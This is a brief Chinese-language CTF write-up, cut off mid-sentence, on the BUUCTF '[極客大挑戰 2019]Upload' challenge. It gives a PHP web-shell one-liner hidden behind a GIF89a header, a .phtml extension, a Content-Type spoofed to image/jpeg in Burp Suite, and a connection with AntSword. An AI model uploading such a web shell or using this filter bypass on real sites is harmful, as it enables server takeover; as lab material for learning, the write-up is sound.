BUUCTF刷題記錄 Upload

[極客大挑戰 2019]Upload 進入頁面 選擇phtml的文件上傳 上傳木馬 木馬內容爲php GIF89a <script language="php">eval($_POST['flag']);</script> 在上傳文件的時候用burp suite抓包 html 由於只容許圖片上傳 因此node Content-Type: image/jpeg 而後放行 web 而後蟻劍鏈接 地址s

>>阅读原文<<